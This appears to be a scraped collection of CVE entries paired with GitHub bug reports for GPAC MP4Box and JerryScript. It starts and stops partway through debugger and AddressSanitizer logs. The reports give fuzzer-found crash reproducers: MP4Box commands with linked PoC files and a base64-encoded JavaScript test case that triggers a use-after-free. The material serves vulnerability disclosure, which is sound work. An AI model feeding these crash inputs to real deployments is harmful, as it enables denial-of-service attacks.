/root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #9 0x00007ffff790f7f7 in gf_bifs_dec_node_list () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #10 0x00007ffff790e066 in gf_bifs_dec_node () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #11 0x00007ffff7906580 in BD_DecSceneReplace () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #12 0x00007ffff7914e5e in BM_SceneReplace () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #13 0x00007ffff7915023 in BM_ParseCommand () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #14 0x00007ffff7915353 in gf_bifs_decode_command_list () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #15 0x00007ffff7aa1d91 in gf_sm_load_run_isom () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #16 0x00005555555844a8 in dump_isom_scene () #17 0x000055555557b42c in mp4boxMain () #18 0x00007ffff75630b3 in __libc_start_main (main=0x55555556c420 <main>, argc=3, argv=0x7fffffffe208, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe1f8) at ../csu/libc-start.c:308 #19 0x000055555556c45e in _start () ```

Invalid memory address dereference in gf_sg_vrml_mf_reset()

https://api.github.com/repos/gpac/gpac/issues/1978/comments

2021-12-11T09:10:17Z

2021-12-13T13:22:09Z

https://github.com/gpac/gpac/issues/1978

CVE-2021-45763

2022-01-14T19:15:08.077

GPAC v1.1.0 was discovered to contain an invalid call in the function gf_node_changed(). This vulnerability can lead to a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/1974

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ An invalid call was discovered in gf_node_changed(). The vulnerability causes a segmentation fault and application crash. **Version:** ``` MP4Box - GPAC version 1.1.0-DEV-revUNKNOWN_REV (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D ``` **System information** Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz **command:** ``` ./MP4Box -bt ./poc/poc_11 ``` [poc_11.zip](https://github.com/gpac/gpac/files/7696151/poc_11.zip) **Result** ``` ./MP4Box -bt ./poc/poc_10 [iso file] extra box maxr found in hinf, deleting [iso file] Unknown box type traI in parent moov [iso file] Box "stss" (start 9939) has 32 extra bytes [iso file] extra box maxr found in hinf, deleting [iso file] Track with no sample description box ! [iso file] Incomplete box mdat - start 11495 size 861261 [iso file] Incomplete file while reading for dump - aborting parsing [iso file] extra box maxr found in hinf, deleting [iso file] Unknown box type traI in parent moov [iso file] Box "stss" (start 9939) has 32 extra bytes [iso file] extra box maxr found in hinf, deleting [iso file] Track with no sample description box ! [iso file] Incomplete box mdat - start 11495 size 861261 [iso file] Incomplete file while reading for dump - aborting parsing MPEG-4 BIFS Scene Parsing [1] 1142870 segmentation fault ./MP4Box -bt ./poc/poc_10 ``` **gdb** ``` Program received signal SIGSEGV, Segmentation fault. 0x0000000000000001 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────── RAX 0x1 RBX 0x7fffffff6bc0 ◂— 0x0 RCX 0x7fffffff6bc0 ◂— 0x0 RDX 0x5555555e6230 —▸ 0x5555555e6270 ◂— 0x0 RDI 0x0 RSI 0x1 R8 0x0 R9 0x0 R10 0x7ffff775ba62 ◂— 'gf_node_changed' R11 0x7ffff784a0f0 (gf_node_changed) ◂— endbr64 R12 0x5555555c6010 ◂— 0x200000002 R13 0x5555555e5100 ◂— 0x0 R14 0x5555555e6230 —▸ 0x5555555e6270 ◂— 0x0 R15 0x7fffffff6bc0 ◂— 0x0 RBP 0x5555555e6230 —▸ 0x5555555e6270 ◂— 0x0 RSP 0x7fffffff6a88 —▸ 0x7ffff784a1ca (gf_node_changed+218) ◂— test rbx, rbx RIP 0x1 ──────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── Invalid address 0x1 ──────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00:0000│ rsp 0x7fffffff6a88 —▸ 0x7ffff784a1ca (gf_node_changed+218) ◂— test rbx, rbx 01:0008│ 0x7fffffff6a90 ◂— 0x0 ... ↓ 3 skipped 05:0028│ 0x7fffffff6ab0 ◂— 0x7374636f /* 'octs' */ 06:0030│ 0x7fffffff6ab8 —▸ 0x5555555e4fd0 ◂— 0x7374636f /* 'octs' */ 07:0038│ 0x7fffffff6ac0 ◂— 0x2 ────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► f 0 0x1 f 1 0x7ffff784a1ca gf_node_changed+218 f 2 0x7ffff784b675 gf_sg_reset+805 f 3 0x7ffff784ba47 gf_sg_del+55 f 4 0x7ffff788b7f8 gf_sg_proto_del+424 f 5 0x7ffff7905f88 gf_bifs_dec_proto_list+680 f 6 0x7ffff7913a11 BM_ParseInsert+769 f 7 0x7ffff7914fe1 BM_ParseCommand+113 ────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> bt #0 0x0000000000000001 in ?? () #1 0x00007ffff784a1ca in gf_node_changed () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #2 0x00007ffff784b675 in gf_sg_reset () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #3 0x00007ffff784ba47 in gf_sg_del () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #4 0x00007ffff788b7f8 in gf_sg_proto_del () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #5 0x00007ffff7905f88 in gf_bifs_dec_proto_list () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #6 0x00007ffff7913a11 in BM_ParseInsert () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #7 0x00007ffff7914fe1 in BM_ParseCommand () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #8 0x00007ffff7915353 in gf_bifs_decode_command_list () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #9 0x00007ffff7aa1d91 in gf_sm_load_run_isom () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #10 0x00005555555844a8 in dump_isom_scene () #11 0x000055555557b42c in mp4boxMain () #12 0x00007ffff75630b3 in __libc_start_main (main=0x55555556c420 <main>, argc=3, argv=0x7fffffffe1b8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe1a8) at ../csu/libc-start.c:308 #13 0x000055555556c45e in _start () ``` `break gf_node_changed` ``` pwndbg> 0x00007ffff784a1c8 in gf_node_changed () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────── RAX 0x1 RBX 0x7fffffff6bc0 ◂— 0x0 RCX 0x7fffffff6bc0 ◂— 0x0 RDX 0x5555555e6230 —▸ 0x5555555e6270 ◂— 0x0 RDI 0x0 *RSI 0x1 R8 0x0 R9 0x0 R10 0x7ffff775ba62 ◂— 'gf_node_changed' R11 0x7ffff784a0f0 (gf_node_changed) ◂— endbr64 R12 0x5555555c6010 ◂— 0x200000002 R13 0x5555555e5100 ◂— 0x0 R14 0x5555555e6230 —▸ 0x5555555e6270 ◂— 0x0 R15 0x7fffffff6bc0 ◂— 0x0 RBP 0x5555555e6230 —▸ 0x5555555e6270 ◂— 0x0 RSP 0x7fffffff6a90 ◂— 0x0 *RIP 0x7ffff784a1c8 (gf_node_changed+216) ◂— call rax ──────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── 0x7ffff784a1b6 <gf_node_changed+198> je gf_node_changed+223 <gf_node_changed+223> 0x7ffff784a1b8 <gf_node_changed+200> mov rdi, qword ptr [r12 + 0x28] 0x7ffff784a1bd <gf_node_changed+205> mov rcx, rbx 0x7ffff784a1c0 <gf_node_changed+208> mov rdx, rbp 0x7ffff784a1c3 <gf_node_changed+211> mov esi, 1 ► 0x7ffff784a1c8 <gf_node_changed+216> call rax <1> 0x7ffff784a1ca <gf_node_changed+218> test rbx, rbx 0x7ffff784a1cd <gf_node_changed+221> je gf_node_changed+233 <gf_node_changed+233> 0x7ffff784a1cf <gf_node_changed+223> mov eax, dword ptr [rbx] 0x7ffff784a1d1 <gf_node_changed+225> sub eax, 0x63 0x7ffff784a1d4 <gf_node_changed+228> and eax, 0xfffffffd ──────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00:0000│ rsp 0x7fffffff6a90 ◂— 0x0 ... ↓ 3 skipped 04:0020│ 0x7fffffff6ab0 ◂— 0x7374636f /* 'octs' */ 05:0028│ 0x7fffffff6ab8 —▸ 0x5555555e4fd0 ◂— 0x7374636f /* 'octs' */ 06:0030│ 0x7fffffff6ac0 ◂— 0x2 07:0038│ 0x7fffffff6ac8 ◂— 0x8000000000000006 ────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► f 0 0x7ffff784a1c8 gf_node_changed+216 f 1 0x7ffff784b675 gf_sg_reset+805 f 2 0x7ffff784ba47 gf_sg_del+55 f 3 0x7ffff788b7f8 gf_sg_proto_del+424 f 4 0x7ffff7905f88 gf_bifs_dec_proto_list+680 f 5 0x7ffff7913a11 BM_ParseInsert+769 f 6 0x7ffff7914fe1 BM_ParseCommand+113 f 7 0x7ffff7915353 gf_bifs_decode_command_list+163 ────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> Program received signal SIGSEGV, Segmentation fault. 0x0000000000000001 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────── RAX 0x1 RBX 0x7fffffff6bc0 ◂— 0x0 RCX 0x7fffffff6bc0 ◂— 0x0 RDX 0x5555555e6230 —▸ 0x5555555e6270 ◂— 0x0 RDI 0x0 RSI 0x1 R8 0x0 R9 0x0 R10 0x7ffff775ba62 ◂— 'gf_node_changed' R11 0x7ffff784a0f0 (gf_node_changed) ◂— endbr64 R12 0x5555555c6010 ◂— 0x200000002 R13 0x5555555e5100 ◂— 0x0 R14 0x5555555e6230 —▸ 0x5555555e6270 ◂— 0x0 R15 0x7fffffff6bc0 ◂— 0x0 RBP 0x5555555e6230 —▸ 0x5555555e6270 ◂— 0x0 *RSP 0x7fffffff6a88 —▸ 0x7ffff784a1ca (gf_node_changed+218) ◂— test rbx, rbx *RIP 0x1 ──────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── Invalid address 0x1 ──────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────── 00:0000│ rsp 0x7fffffff6a88 —▸ 0x7ffff784a1ca (gf_node_changed+218) ◂— test rbx, rbx 01:0008│ 0x7fffffff6a90 ◂— 0x0 ... ↓ 3 skipped 05:0028│ 0x7fffffff6ab0 ◂— 0x7374636f /* 'octs' */ 06:0030│ 0x7fffffff6ab8 —▸ 0x5555555e4fd0 ◂— 0x7374636f /* 'octs' */ 07:0038│ 0x7fffffff6ac0 ◂— 0x2 ────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────── ► f 0 0x1 f 1 0x7ffff784a1ca gf_node_changed+218 f 2 0x7ffff784b675 gf_sg_reset+805 f 3 0x7ffff784ba47 gf_sg_del+55 f 4 0x7ffff788b7f8 gf_sg_proto_del+424 f 5 0x7ffff7905f88 gf_bifs_dec_proto_list+680 f 6 0x7ffff7913a11 BM_ParseInsert+769 f 7 0x7ffff7914fe1 BM_ParseCommand+113 ────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> ```

Invalid call in gf_node_changed()

https://api.github.com/repos/gpac/gpac/issues/1974/comments

2021-12-11T01:02:59Z

2021-12-13T13:22:08Z

https://github.com/gpac/gpac/issues/1974

CVE-2021-45764

2022-01-14T20:15:14.977

GPAC v1.1.0 was discovered to contain an invalid memory address dereference via the function shift_chunk_offsets.isra().

https://github.com/gpac/gpac/issues/1971

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ An invalid memory address dereference was discovered in shift_chunk_offsets.isra(). The vulnerability causes a segmentation fault and application crash. **Version:** ``` MP4Box - GPAC version 1.1.0-DEV-revUNKNOWN_REV (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D ``` **System information** Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz **command:** ``` ./MP4Box -hint poc_9 ``` [poc_9.zip](https://github.com/gpac/gpac/files/7693929/poc_9.zip) **Result** ``` [iso file] Unknown box type stbU in parent minf [iso file] Track with no sample table ! [iso file] Track with no sample description box ! [iso file] Box "trak" is larger than container box [iso file] Box "moov" size 256 (start 20) invalid (read 2209) [iso file] Unknown top-level box type 079Fmd Saving ./poc/poc_9: In-place rewrite [1] 2265002 segmentation fault ./MP4Box -hint ./poc/poc_9 ``` **gdb** ``` Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7981ba3 in shift_chunk_offsets.isra () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────[ REGISTERS ]──────────────────────────────── RAX 0x5555555cc6e0 ◂— 0x6d696e66 /* 'fnim' */ RBX 0x5555555ccfe0 ◂— 0x7374626c /* 'lbts' */ RCX 0x0 RDX 0x5555555cf160 ◂— 0x6d646961 /* 'aidm' */ RDI 0x28 RSI 0x34 R8 0x14 R9 0x0 R10 0x7ffff775d6fa ◂— 'gf_isom_box_size' R11 0x7ffff796bce0 (gf_isom_box_size) ◂— endbr64 R12 0x5555555c72a0 ◂— 0xffffffec R13 0x14 R14 0x1 R15 0x7fffffff7e80 ◂— 0x0 RBP 0x0 RSP 0x7fffffff7e00 ◂— 0xf7747c68 RIP 0x7ffff7981ba3 (shift_chunk_offsets.isra+19) ◂— mov esi, dword ptr [rsi] ─────────────────────────────────[ DISASM ]───────────────────────────────── ► 0x7ffff7981ba3 <shift_chunk_offsets.isra+19> mov esi, dword ptr [rsi] 0x7ffff7981ba5 <shift_chunk_offsets.isra+21> mov qword ptr [rsp + 8], rdi 0x7ffff7981baa <shift_chunk_offsets.isra+26> mov qword ptr [rsp + 0x10], rdx 0x7ffff7981baf <shift_chunk_offsets.isra+31> mov dword ptr [rsp + 0x2c], r9d 0x7ffff7981bb4 <shift_chunk_offsets.isra+36> test esi, esi 0x7ffff7981bb6 <shift_chunk_offsets.isra+38> je shift_chunk_offsets.isra+175 <shift_chunk_offsets.isra+175> ↓ 0x7ffff7981c3f <shift_chunk_offsets.isra+175> add rsp, 0x38 0x7ffff7981c43 <shift_chunk_offsets.isra+179> xor eax, eax 0x7ffff7981c45 <shift_chunk_offsets.isra+181> pop rbx 0x7ffff7981c46 <shift_chunk_offsets.isra+182> pop rbp 0x7ffff7981c47 <shift_chunk_offsets.isra+183> pop r12 ─────────────────────────────────[ STACK ]──────────────────────────────────00:0000│ rsp 0x7fffffff7e00 ◂— 0xf7747c68 01:0008│ 0x7fffffff7e08 ◂— 0x0 02:0010│ 0x7fffffff7e10 ◂— 0x999 03:0018│ 0x7fffffff7e18 ◂— 0x34 /* '4' */ 04:0020│ 0x7fffffff7e20 —▸ 0x7ffff7fc7368 —▸ 0x7ffff7ffe450 —▸ 0x7ffff73131e0 —▸ 0x7ffff7ffe190 ◂— ... 05:0028│ 0x7fffffff7e28 —▸ 0x7fffffff7f68 —▸ 0x7ffff7751b48 ◂— 0xe0012000053a2 06:0030│ 0x7fffffff7e30 —▸ 0x7ffff775d6fa ◂— 'gf_isom_box_size' 07:0038│ 0x7fffffff7e38 —▸ 0x5555555ccfe0 ◂— 0x7374626c /* 'lbts' */ ───────────────────────────────[ BACKTRACE ]──────────────────────────────── ► f 0 0x7ffff7981ba3 shift_chunk_offsets.isra+19 f 1 0x7ffff7981fd0 inplace_shift_moov_meta_offsets+224 f 2 0x7ffff7982a5c inplace_shift_mdat+732 f 3 0x7ffff7986c29 WriteToFile+2713 f 4 0x7ffff7978042 gf_isom_write+370 f 5 0x7ffff79780c8 gf_isom_close+24 f 6 0x55555557ad12 mp4boxMain+7410 f 7 0x7ffff75630b3 __libc_start_main+243 ────────────────────────────────────────────────────────────────────────────pwndbg> bt #0 0x00007ffff7981ba3 in shift_chunk_offsets.isra () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #1 0x00007ffff7981fd0 in inplace_shift_moov_meta_offsets () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #2 0x00007ffff7982a5c in inplace_shift_mdat () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #3 0x00007ffff7986c29 in WriteToFile () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #4 0x00007ffff7978042 in gf_isom_write () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #5 0x00007ffff79780c8 in gf_isom_close () from /root/fuckit/test/gpac1210/bin/gcc/libgpac.so.10 #6 0x000055555557ad12 in mp4boxMain () #7 0x00007ffff75630b3 in __libc_start_main (main=0x55555556c420 <main>, argc=3, argv=0x7fffffffe218, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe208) at ../csu/libc-start.c:308 #8 0x000055555556c45e in _start () ```

Invalid memory address dereference in shift_chunk_offsets.isra()

https://api.github.com/repos/gpac/gpac/issues/1971/comments

2021-12-10T15:59:06Z

2021-12-13T13:22:07Z

https://github.com/gpac/gpac/issues/1971

CVE-2021-45767

2022-01-14T20:15:15.020

GPAC 1.1.0 was discovered to contain an invalid memory address dereference via the function lsr_read_id(). This vulnerability can lead to a Denial of Service (DoS).

https://github.com/gpac/gpac/issues/1982

github.com

Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you! - [x] I looked for a similar issue and couldn't find any. - [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/ - [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95 Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/ An invalid memory address dereference was discovered in lsr_read_id(). The vulnerability causes a segmentation fault and application crash. **Version:** ``` MP4Box - GPAC version 1.1.0-DEV-rev1555-g339e7a736-master (c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: --prefix=/root/fuck_bin/gpac/test Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D ``` **System information** Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz **command:** ``` ./MP4Box -bt poc ``` **POCs** [lsr_read_id.zip](https://github.com/gpac/gpac/files/7708191/lsr_read_id.zip) ``` tree . ├── lsr_read_id-lsr_read_a │   └── id_000661,sig_11,src_005751,op_havoc,rep_4 ├── lsr_read_id-lsr_read_animate │   ├── id_000623,sig_11,src_005500+003857,op_splice,rep_2 │   ├── id_000669,sig_11,src_005818,op_havoc,rep_8 │   └── id_000707,sig_11,src_006355,op_havoc,rep_8 ├── lsr_read_id-lsr_read_audio.isra │   └── id_000539,sig_11,src_004864,op_havoc,rep_8 ├── lsr_read_id-lsr_read_ellipse │   ├── id_000540,sig_11,src_004864,op_havoc,rep_8 │   └── id_000681,sig_06,src_005943,op_havoc,rep_2 ├── lsr_read_id-lsr_read_linearGradient │   └── id_000407,sig_11,src_004547,op_havoc,rep_2 ├── lsr_read_id-lsr_read_polygon │   ├── id_000424,sig_11,src_004557,op_havoc,rep_4 │   └── id_000533,sig_06,src_004856+005154,op_splice,rep_4 ├── lsr_read_id-lsr_read_rect │   └── id_000653,sig_06,src_005718+005529,op_splice,rep_2 └── lsr_read_id-lsr_read_scene_content_model ├── id_000457,sig_11,src_004611,op_havoc,rep_2 └── id_000687,sig_11,src_006098,op_havoc,rep_4 8 directories, 13 files ``` **Result** The result is omitted here. **gdb** The gdb result is omitted here.

Invalid memory address dereference in lsr_read_id()

https://api.github.com/repos/gpac/gpac/issues/1982/comments

2021-12-14T02:23:22Z

2021-12-14T10:36:53Z

https://github.com/gpac/gpac/issues/1982

CVE-2021-46170

2022-01-14T21:15:08.540

An issue was discovered in JerryScript commit a6ab5e9. There is an Use-After-Free in lexer_compare_identifier_to_string in js-lexer.c file.

https://github.com/jerryscript-project/jerryscript/issues/4917

github.com

###### JerryScript revision a6ab5e9 ###### Build platform Ubuntu 20.04.3 LTS (Linux 5.11.0-43-generic x86_64) ###### Build steps ```sh ./tools/build.py --clean --compile-flag=-fsanitize=address --lto=off --error-message=on --profile=es2015-subset --stack-limit=15 --debug --logging=on --line-info=on ``` ###### Test case ``` base64 poc DQp2YXIgYT0gWyIiLCAiXDAiLCAiXHlmIl0NCkFycmF5LnByb3RvdHlwZVs0XSA9IDEwOw0KZnVu Y3Rpb24gRWVzdCgpDQp7DQogICAgYS5zb3J0KGZ1bmN0aW9uKCkgew0KICAgQSA9IGZ1bmN0aW9u KCkgeyB9Ow0KQS5wcm90b3R5cGUueCU9IDQyOw0KdmFyIG8gPSBuZXcgUHJveHkoew0KICAgICAg ICAiMyI6IHsNCiAgICAgICAgICAgIHdyaXRhYmxlOmZhbHNlLA0KICAgICAgICAgICAgdmFsdUM6 MjANCn0NCiAgICB9LCB7DQogICAgZ2V0UHJvdG90eXBlT2Y6IGZ1bmN0aW9uICh2YWwsIHNpemUs IGNoKSB7DSAgYS5zb3IKICAgIHZhciBlc3VsdCA9ICIiO3Jlc3VsdCA9IG5ldyBTdHJpUGcgICAg ICAgICAgICA7Ozs7Ozs7Ozs7OyAgICAgDQogICAgICAgaWYgKGNoID0+IG51bGwpIHsgIGNoID0g IiAiOw0KfQ0KfSwgew0KICAgIGdldAAAAEBvdHlwZU9oIDwgc2l6ZSAgdWx0Ow0KICAgIH0NCiAg ICByZXR1cm4gcmVzdWxkOw0KfQ0KfSk7DQogICAgICAgIG8ueCA9IDQzOw0KICAgICAgICB2YXIg cmVzdWx0ID0gIiI7DQogICAgICAgIGZvciAodmFyIHAgaW4hbykNCiAgICByZXN1bHQgK2EgfCAw Ow0KICAgIH0pOw0KICAgIFdTY3JpcHQuRWNobyhhKTsNCn0NCg0KVGVzdCgpOw0KDQ== ``` ###### Execution steps ```sh jerry ./poc ``` ##### asan log ``` ================================================================= ==2953261==ERROR: AddressSanitizer: heap-use-after-free on address 0xf4502508 at pc 0x56731155 bp 0xffa0fc88 sp 0xffa0fc78 READ of size 4 at 0xf4502508 thread T0 #0 0x56731154 in lexer_compare_identifier_to_string /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-lexer.c:3503 #1 0x56738c41 in parser_parse_object_literal /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:1593 #2 0x5673c3b8 in parser_parse_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2339 #3 0x5674559d in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4428 #4 0x5673e25f in parser_process_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2772 #5 0x56745605 in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4437 #6 0x5674e9a0 in parser_parse_var_statement /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:527 #7 0x5675bb93 in parser_parse_statements /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:2925 #8 0x566809a2 in parser_parse_function /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser.c:2792 #9 0x5672d0d9 in lexer_construct_function_object /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-lexer.c:2820 #10 0x567398f9 in parser_parse_function_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:1828 #11 0x5673c0df in parser_parse_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2313 #12 0x5674559d in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4428 #13 0x5673e25f in parser_process_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2772 #14 0x56745605 in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4437 #15 0x56745334 in parser_parse_expression_statement /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4399 #16 0x5675cf43 in parser_parse_statements /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:3230 #17 0x566809a2 in parser_parse_function /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser.c:2792 #18 0x5674fcbb in parser_parse_function_statement /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:799 #19 0x5675bc06 in parser_parse_statements /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:2957 #20 0x5667d2ac in parser_parse_source /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser.c:2340 #21 0x5668356d in parser_parse_script /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser.c:3413 #22 0x565bd97d in jerry_parse_common /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/api/jerryscript.c:398 #23 0x565bdce1 in jerry_parse /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/api/jerryscript.c:466 #24 0x565b6734 in main /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-main/main-jerry.c:161 #25 0xf7618ee4 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x1eee4) #26 0x565b5a94 in _start (/home/aidai/fuzzing/jerryscript/jerryscript-test/build/bin/jerry+0x1ea94) 0xf4502508 is located 8 bytes inside of 124-byte region [0xf4502500,0xf450257c) freed by thread T0 here: #0 0xf7a20814 in __interceptor_free (/lib32/libasan.so.5+0x113814) #1 0x56669e18 in jmem_heap_free_block_internal /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/jmem/jmem-heap.c:477 #2 0x56669f57 in jmem_heap_free_block /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/jmem/jmem-heap.c:691 #3 0x56748112 in parser_free /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-mem.c:59 #4 0x56748112 in parser_data_free /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-mem.c:134 #5 0x5674849b in parser_list_free /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-mem.c:211 #6 0x5667f81c in parser_restore_context /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser.c:2662 #7 0x566809d6 in parser_parse_function /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser.c:2807 #8 0x5672d0d9 in lexer_construct_function_object /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-lexer.c:2820 #9 0x567398f9 in parser_parse_function_expression 